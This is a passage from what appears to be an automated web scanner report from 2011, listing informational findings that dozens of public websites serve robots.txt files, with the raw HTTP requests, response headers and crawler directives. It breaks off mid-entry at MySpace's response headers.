Accept-Ranges: bytes
Content-Length: 1141
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file

User-agent: *
Disallow: /compose
Disallow: /login
Disallow: /signup
Disallow: /inbox
Disallow: /edi
...[SNIP]...

28.79. http://www.amazon.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.amazon.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.amazon.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:33 GMT
Server: Server
Last-Modified: Thu, 23 Sep 2010 18:50:15 GMT
ETag: "7c0-bb8de7c0"
Accept-Ranges: bytes
Content-Length: 1984
Vary: Accept-Encoding,User-Agent
nnCoection: close
Content-Type: text/plain
Connection: close

# Disallow all crawlers access to certain pages.

User-agent: *
Disallow: /exec/obidos/account-access-login
Disallow: /exec/obidos/change-style
Disallow: /exec/obidos/flex-sign-in
Disallow: /exec/obid
...[SNIP]...

28.80. http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.baselinemag.com
Path:	/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.baselinemag.com

Response

HTTP/1.1 200 OK
Server: nginx/0.7.65
Date: Sat, 05 Feb 2011 23:01:28 GMT
Content-Type: text/plain
Connection: close
Last-Modified: Wed, 13 Jan 2010 22:14:49 GMT
ETag: "20584eb-38c-47d13194a6840"
Accept-Ranges: bytes
Content-Length: 908

User-agent: *
Disallow: /cp/bio
Disallow: /cp/top
Disallow: /news
Disallow: /blogtop
Disallow: /blogbio
Disallow: /bh
Disallow: /cp
Disallow: /showblog
Disallow: /index.php
Disallow: /index2
...[SNIP]...

28.81. http://www.bebo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bebo.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.bebo.com

Response

HTTP/1.0 200 OK
Server: Resin/3.0.24
ETag: "GU6VXElTrrv"
Last-Modified: Wed, 17 Mar 2010 18:31:39 GMT
Content-Type: text/plain
Date: Sat, 05 Feb 2011 23:01:30 GMT
Content-Length: 365
Connection: close

User-agent: Mediapartners-Google*
Disallow:
User-agent: *
Disallow: /SupportTicket.jsp
Disallow: /Friends.jsp
Disallow: /LostPasswordReset.jsp
Disallow: /CancelMembership.jsp
Disallow: /NoNewsl
...[SNIP]...

28.82. http://www.bibsonomy.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bibsonomy.org
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.bibsonomy.org

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:33 GMT
Server: Zope/(Zope 2.11.4-final, python 2.4.6, linux2) ZServer/1.1
Last-Modified: Mon, 02 Jun 2008 07:22:22 GMT
Content-Length: 118
Content-Type: text/plain; charset=iso-8859-15
Accept-Ranges: bytes
Via: 1.1 www.bibsonomy.org, 1.0 www.bibsonomy.org
X-Pingback: http://scraper.bibsonomy.org/xmlrpc
Connection: close

User-agent: *
Disallow:

User-agent: *
Disallow: /layout/
Disallow: /concept/
Disallow: /search/
Disallow: /documents/

28.83. http://www.blogger.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.blogger.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.blogger.com

Response

HTTP/1.0 200 OK
Expires: Sat, 05 Feb 2011 23:43:45 GMT
Last-Modified: Thu, 03 Feb 2011 05:20:17 GMT
Content-Type: text/plain
Date: Sat, 05 Feb 2011 22:43:45 GMT
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE
Age: 1068
Cache-Control: public

# robots.txt for http://www.blogger.com

User-agent: *
Disallow: /profile-find.g
Disallow: /comment.g
Disallow: /email-post.g
Disallow: /share-post-menu.g

28.84. http://www.bookmarks.fr/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.bookmarks.fr
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.bookmarks.fr

Response

HTTP/1.1 200 OK
Set-Cookie: mediaplan=R3757051584; path=/; expires=Tue, 08-Feb-2011 11:06:49 GMT
Date: Sat, 05 Feb 2011 23:01:36 GMT
Server: Apache/2.2.X (OVH)
Last-Modified: Mon, 31 Jan 2011 20:42:16 GMT
ETag: "85f30-e2-49b2a73950cbe"
Accept-Ranges: bytes
Content-Length: 226
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-Agent: *
Disallow: /rss/
Disallow: /tags/
Disallow: /profil/
Disallow: /screenshots/
Disallow: /?mAddress=
Disallow: /addLinkDetails
Disallow: /addLinkDetails
Disallow: /zrebw
Disallow: /vot
Disa
...[SNIP]...

28.85. https://www.box.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.box.net
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.box.net

Response

HTTP/1.1 200 OK
Server: nginx/0.6.39
Date: Sat, 05 Feb 2011 23:01:36 GMT
Content-Type: text/plain
Content-Length: 133
Last-Modified: Fri, 04 Feb 2011 05:13:34 GMT
Connection: close
Expires: Thu, 31 Dec 2037 23:55:55 GMT
Cache-Control: max-age=315360000
Accept-Ranges: bytes

User-Agent: *
Disallow: /public
Disallow: /dav
Disallow: /shared
Disallow: /lite
Disallow: /rssdownload
Disallow: /signup/invitation

28.86. http://www.care2.com/news/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.care2.com
Path:	/news/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.care2.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:56 GMT
Server: Apache/2.2.8
Last-Modified: Wed, 02 Jun 2010 22:42:44 GMT
ETag: "bea353-3b4-48813cee96100"
Accept-Ranges: bytes
Content-Length: 948
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

# http://info.webcrawler.com/mak/projects/robots/exclusion-admin.html
#
User-agent: *
Disallow: /r.html
Disallow: /mail.html
Disallow: /community/tos_popup.html
Disallow: /ecards/p/
Disallow: /send/pi
...[SNIP]...

28.87. http://www.citeulike.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.citeulike.org
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.citeulike.org

Response

HTTP/1.1 200 OK
Server: nginx/0.8.31
Date: Sat, 05 Feb 2011 23:01:40 GMT
Content-Type: text/plain; charset=UTF-8
Connection: close
Vary: Accept-Encoding
Max-Age: 0
Expires: 0
Cache-Control: no-cache
MIME-Version: 1.0
Content-Length: 1947

Sitemap: http://www.citeulike.org/sitemap.xml

# Useless/Evil bots #
User-agent: LinkWalker
User-agent: NPBot
User-agent: sna-0
User-agent: ConveraCrawler
User-agent: MJ12bot
User-agent: Yahoo Pipes
...[SNIP]...

28.88. http://www.codylindley.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.codylindley.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.codylindley.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:41 GMT
Server: Apache/2.0.54
Last-Modified: Wed, 06 Dec 2006 15:57:33 GMT
ETag: "1f6704e-b6-a4093540"
Accept-Ranges: bytes
Content-Length: 182
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/plain; charset=ISO-8859-1

User-agent: *
Disallow: /images/
Disallow: /textpattern/
Disallow: /v4/
Disallow: /js/
Disallow: /php/

User-agent: Googlebot-Image
Disallow: /

User-agent: Googlebot
Disallow: /*?

28.89. http://www.connotea.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.connotea.org
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.connotea.org

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:42 GMT
Server: Apache
Last-Modified: Mon, 17 Jan 2011 10:59:09 GMT
ETag: "336840e-13d-49a08ac5c7940"
Accept-Ranges: bytes
Content-Length: 317
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /uri/
Disallow: /article/
Disallow: /ris/
Disallow: /rss/
Disallow: /txt/
Disallow: /plain/
Disallow: /mods/
Disallow: /date/
Disallow: /recent/
Disallow: /recent
Disallow: /po
...[SNIP]...

28.90. http://www.diigo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.diigo.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.diigo.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:01:44 GMT
Content-Type: text/plain
Content-Length: 790
Last-Modified: Wed, 05 Nov 2008 01:32:32 GMT
Connection: close
Accept-Ranges: bytes

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file

User-agent: Mediapartners-Google*
Disallow:

User-agent: *
Disallow: /redirect
Disallow: /in
...[SNIP]...

28.91. http://www.dzone.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.dzone.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.dzone.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:18 GMT
Server: Apache/2.2.11 (Unix) DAV/2 SVN/1.5.5 Resin/4.0.4 PHP/5.2.13
Last-Modified: Fri, 06 Feb 2009 15:12:33 GMT
ETag: "5a50012-9f5-462417342da40"
Accept-Ranges: bytes
Content-Length: 2549
Cache-Control: max-age=300
Expires: Sat, 05 Feb 2011 23:06:18 GMT
Vary: Accept-Encoding,User-Agent
Connection: close
Content-Type: text/plain

# $Id: robots.txt,v 1.9 2007/06/27 22:37:44 goba Exp $
#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites lik
...[SNIP]...

28.92. http://www.fark.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.fark.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.fark.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:02:19 GMT
Content-Type: text/plain
Content-Length: 246
Last-Modified: Thu, 06 Jan 2011 07:30:11 GMT
Connection: close
Expires: Sat, 12 Feb 2011 23:02:19 GMT
Cache-Control: max-age=604800
Accept-Ranges: bytes

User-agent: *
Crawl-delay: 1
Disallow: /nospam/
Disallow: /nomirror/
Allow: /cgi/comments.pl
Allow: /cgi/fark/comments.pl
Allow: /comments
Disallow: /cgi/
Disallow: /users
Disallow: /submit
# $Id: rob
...[SNIP]...

28.93. http://www.folkd.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.folkd.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.folkd.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:01 GMT
Server: Apache/2.2.14 (Debian)
Last-Modified: Sun, 05 Dec 2010 22:44:56 GMT
ETag: "1e52004-1a5-496b185434a00"
Accept-Ranges: bytes
Content-Length: 421
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /q*
Disallow: /*lang=*
Disallow: /*sort_mode=*
Disallow: /*find_mode=*
Disallow: /*selection=*
Disallow: /*pagenum=*
Disallow: /*page=*
Disallow: /*addurl=*
Disallow: /*filter_
...[SNIP]...

28.94. http://www.gabbr.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gabbr.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.gabbr.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:20 GMT
Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.6
Last-Modified: Sat, 24 Jul 2010 11:33:36 GMT
ETag: "1670017-18-48c2085a70400"
Accept-Ranges: bytes
Content-Length: 24
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

28.95. http://www.giveawayoftheday.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.giveawayoftheday.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.giveawayoftheday.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.54
Date: Sat, 05 Feb 2011 23:01:54 GMT
Content-Type: text/plain
Content-Length: 115
Last-Modified: Sat, 03 Apr 2010 11:00:43 GMT
Connection: close
Accept-Ranges: bytes

User-agent: *
Disallow: /freeware/dir/
Disallow: /commercial/dir/
Disallow: /olddesign/
Disallow: /freeware/go2.php

28.96. http://www.gnu.org/licenses/gpl-3.0.txt previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.gnu.org
Path:	/licenses/gpl-3.0.txt

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.gnu.org

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:11 GMT
Server: Apache
Last-Modified: Mon, 08 Jun 2009 20:45:37 GMT
ETag: "4a0f4-94-46bdc530a3e40"
Accept-Ranges: bytes
Content-Length: 148
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

# robots.txt for http://www.gnu.org/

User-agent: *
Crawl-delay: 4
Disallow: /private/

User-agent: *
Crawl-delay: 4
Disallow: /savannah-checkouts/

28.97. http://www.google-analytics.com/__utm.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google-analytics.com
Path:	/__utm.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google-analytics.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 10 Jan 2011 11:53:04 GMT
Date: Sat, 05 Feb 2011 21:48:43 GMT
Expires: Sat, 05 Feb 2011 21:48:43 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /siteopt.js
Disallow: /config.js

28.98. http://www.google.de/coop/cse/brand previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.google.de
Path:	/coop/cse/brand

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.google.de

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Tue, 01 Feb 2011 22:56:20 GMT
Date: Sat, 05 Feb 2011 23:07:25 GMT
Expires: Sat, 05 Feb 2011 23:07:25 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

28.99. http://www.googleadservices.com/pagead/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/aclk

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.googleadservices.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Tue, 01 Feb 2011 22:56:20 GMT
Date: Sat, 05 Feb 2011 21:48:59 GMT
Expires: Sat, 05 Feb 2011 21:48:59 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

28.100. http://www.hemidemi.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hemidemi.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.hemidemi.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:18 GMT
Server: Apache/2.2.6 (Unix) PHP/5.2.5
Last-Modified: Mon, 20 Apr 2009 18:11:38 GMT
ETag: "c56e3a-25b-7620ea80"
Accept-Ranges: bytes
Content-Length: 603
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file

# for google adsense
User-agent: Mediapartners-Google*
Disallow:

User-agent: *
Disallow: /bookmark
...[SNIP]...

28.101. http://www.hyves.nl/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.hyves.nl
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.hyves.nl

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:02:28 GMT
Content-Type: text/plain
Content-Length: 396
Last-Modified: Thu, 15 Jul 2010 08:01:41 GMT
Connection: close
Expires: Sat, 05 Feb 2011 23:02:27 GMT
Cache-Control: no-cache
Accept-Ranges: bytes

# Google
User-agent: Googlebot
Allow: *

User-agent: Googlebot-Mobile
Allow: *

User-agent: Googlebot-Image
Allow: *

# Adsense
User-agent: Mediapartners-Google*
Disallow:

# Ask.com
User-agent: AskJ
...[SNIP]...

28.102. https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.infosecisland.com
Path:	/blogview/5213-Splunk-4-Users-Review.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.infosecisland.com

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sat, 05 Feb 2011 23:05:27 GMT
Content-Type: text/plain
Connection: close
Vary: Accept-Encoding
Expires: Sat, 12 Feb 2011 23:05:27 GMT
Cache-Control: max-age=604800
Accept-Ranges: bytes
ETag: "-410413504"
Last-Modified: Sun, 26 Sep 2010 14:25:08 GMT
Content-Length: 80

#User-agent: *
#Disallow:
Sitemap: http://www.infosecisland.com/sitemap.html

28.103. http://www.instapaper.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.instapaper.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.instapaper.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:20 GMT
Server: Apache
Last-Modified: Wed, 01 Dec 2010 02:04:11 GMT
Accept-Ranges: bytes
Content-Length: 127
Cache-Control: max-age=2592000
Expires: Mon, 07 Mar 2011 23:02:20 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /m
Disallow: /text
Disallow: /u
Disallow: /b
Disallow: /i
Disallow: /bodytext
Disallow: /user
Allow: /

28.104. http://www.jumptags.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jumptags.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.jumptags.com

Response

HTTP/1.1 200 OK
Connection: close
Content-Length: 149
Expires: Sunday 15-May-1994 12:00:00 GMT
Date: Sat, 05 Feb 2011 22:44:35 GMT
Content-Location: http://www.jumptags.com/robots.txt
Content-Type: text/plain
ETag: "baf018a4edb2cb1:554"
Server: Microsoft-IIS/6.0
Last-Modified: Thu, 13 Jan 2011 06:46:44 GMT
Accept-Ranges: bytes
X-Powered-By: ASP.NET

Sitemap: http://www.jumptags.com/sitemap.xml

User-agent: *
Disallow: /search/
Disallow: /jump/
Disallow: /*rss=xml
Disallow: /*format=atom

28.105. http://www.kledy.de/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.kledy.de
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.kledy.de

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:29 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Last-Modified: Tue, 28 Dec 2010 12:47:13 GMT
ETag: "5694e-3dc-49877da02f640"
Accept-Ranges: bytes
Content-Length: 988
Connection: close
Content-Type: text/plain; charset=UTF-8

User-Agent: *

Disallow: /3rdparty/
Disallow: /antispam.txt
Disallow: /admin/
Disallow: /admin/admin_index.php
Disallow: /backup/
Disallow: /cache/templates_c/
Disallow: /cache/admin_c/
Disallow: /ins
...[SNIP]...

28.106. http://www.linkagogo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.linkagogo.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.linkagogo.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:33 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8b Resin/3.1.4
Last-Modified: Wed, 21 Jan 2009 02:00:42 GMT
ETag: "715171-1ca-460f485ec8680"
Accept-Ranges: bytes
Content-Length: 458
Connection: close
Content-Type: text/plain

User-agent: *
Crawl-delay: 30
Allow: /go/Members
Allow: /go/Sites
Disallow: /go/Home
Disallow: /go/Index
Disallow: /go/Search
Disallow: /go/Folders
Disallow: /go/All
Disallow: /go/Edit
Disal
...[SNIP]...

28.107. http://www.live.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.live.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.live.com

Response

HTTP/1.1 200 OK
Cache-Control: private, max-age=345600
Content-Type: text/plain; charset=utf-8
Expires: Wed, 09 Feb 2011 23:02:33 GMT
Vary: *
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: xid=d6c68310-7d86-4eb6-ae7e-67f1fb126808&&BL2xxxxxxC501&69; domain=.live.com; path=/
Set-Cookie: xidseq=1; domain=.live.com; path=/
Set-Cookie: mktstate=S=821848180&U=&E=&P=&B=; domain=.live.com; path=/
Set-Cookie: mkt1=norm=; domain=.live.com; path=/
Set-Cookie: mkt2=marketing=en-us; domain=.www.live.com; path=/
Set-Cookie: LD=; domain=.live.com; expires=Sat, 05-Feb-2011 21:22:33 GMT; path=/
Set-Cookie: E=P:uPpn6J+TzYg=:yuoU3AacEnBDuah3Iq5lb8GzquxaXIx00QORsRaeas4=:F; domain=.live.com; path=/
X-Powered-By: ASP.NET
P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
Date: Sat, 05 Feb 2011 23:02:32 GMT
Connection: close
Content-Length: 23

User-agent: *
Disallow:

28.108. http://www.livejournal.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.livejournal.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.livejournal.com

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 23:02:40 GMT
Server: Apache/2.2.3 (CentOS)
X-AWS-Id: osws03
Set-Cookie: ljuniq=zRJgi7Zz0IwmIvu:1296946960:pgstats0:m0; expires=Wednesday, 06-Apr-2011 23:02:40 GMT; domain=.livejournal.com; path=/
Last-Modified: Thu, 09 Sep 2010 01:21:59 GMT
ETag: "19993fc-1b6-48fc974e1dbc0"
Accept-Ranges: bytes
Content-Length: 438
Connection: close
Content-Type: text/plain; charset=UTF-8

User-Agent: *
Disallow: /directory.bml

Sitemap: http://www.livejournal.com/sitemap.xml

#
# Blocked journals aren't listed here because robots.txt files
# can't be above 50k or so, depending on the s
...[SNIP]...

28.109. http://www.manualsonline.com/privacy.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.manualsonline.com
Path:	/privacy.html

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.manualsonline.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:41 GMT
Server: Apache/2.2.14 (Fedora)
Last-Modified: Wed, 26 Jan 2011 14:52:42 GMT
ETag: "2e60ea-5c-49ac0fc2c4280"
Accept-Ranges: bytes
Content-Length: 92
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *

Disallow: /images/

Sitemap: http://www.manualsonline.com/sitemap_index.xml

28.110. http://www.microsoft.com/windows/internet-explorer/default.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.microsoft.com
Path:	/windows/internet-explorer/default.aspx

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.microsoft.com

Response

HTTP/1.1 200 OK
Cache-Control: max-age=900
Content-Type: text/plain
Last-Modified: Tue, 21 Dec 2010 16:13:16 GMT
Accept-Ranges: bytes
ETag: "e213d5f929a1cb1:0"
Server: Microsoft-IIS/7.5
VTag: 279673942000000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:02:43 GMT
Connection: keep-alive
Content-Length: 12125

# Robots.txt file for http://www.microsoft.com
#

User-agent: *
Disallow: /*TOCLinksForCrawlers*
Disallow: /*/mac/help.mspx
Disallow: /*/mac/help.mspx?
Disallow: /*/mactopia/help.mspx?
Disallo
...[SNIP]...

28.111. http://www.mindbodygreen.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mindbodygreen.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.mindbodygreen.com

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
ETag: W/"35-1218595612423"
Last-Modified: Wed, 13 Aug 2008 02:46:52 GMT
Content-Type: text/plain
Content-Length: 35
Date: Sat, 05 Feb 2011 23:02:46 GMT
Connection: close

User-agent: *
Disallow: /email.jsp

28.112. http://www.mister-wong.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mister-wong.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.mister-wong.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:45 GMT
Server: Apache
Content-Length: 29
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /rss/

28.113. http://www.modalpopups.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.modalpopups.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.modalpopups.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Wed, 07 Oct 2009 07:36:34 GMT
Accept-Ranges: bytes
ETag: "a0ca12e52047ca1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 23:01:41 GMT
Connection: close
Content-Length: 26

User-agent: *
Disallow:

28.114. http://www.mylinkvault.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mylinkvault.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.mylinkvault.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:02:50 GMT
Server: Apache
Last-Modified: Sat, 24 Jul 2010 13:19:37 GMT
ETag: "d52e409-1b-48c2200cc2c40"
Accept-Ranges: bytes
Content-Length: 27
Cache-Control: max-age=18000
Expires: Sun, 06 Feb 2011 04:02:50 GMT
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /

28.115. http://www.myspace.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.myspace.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: www.myspace.com

Response

HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, proxy-revalidate
Pragma: no-cache
Content-Type: text/plain; charset=utf-8
Expires: -1
Server: Microsoft-IIS/7.5
X-Server: d0911bf4af0a99c0bf5bea75ad50ea5261d34bcca9f99fa0
Set-Cookie: MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=634325149785929466&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==&UserFirstVisit=1; domain=.myspace.com; expires=Sat, 12-Feb-2011 23:02:58 GMT; path=/
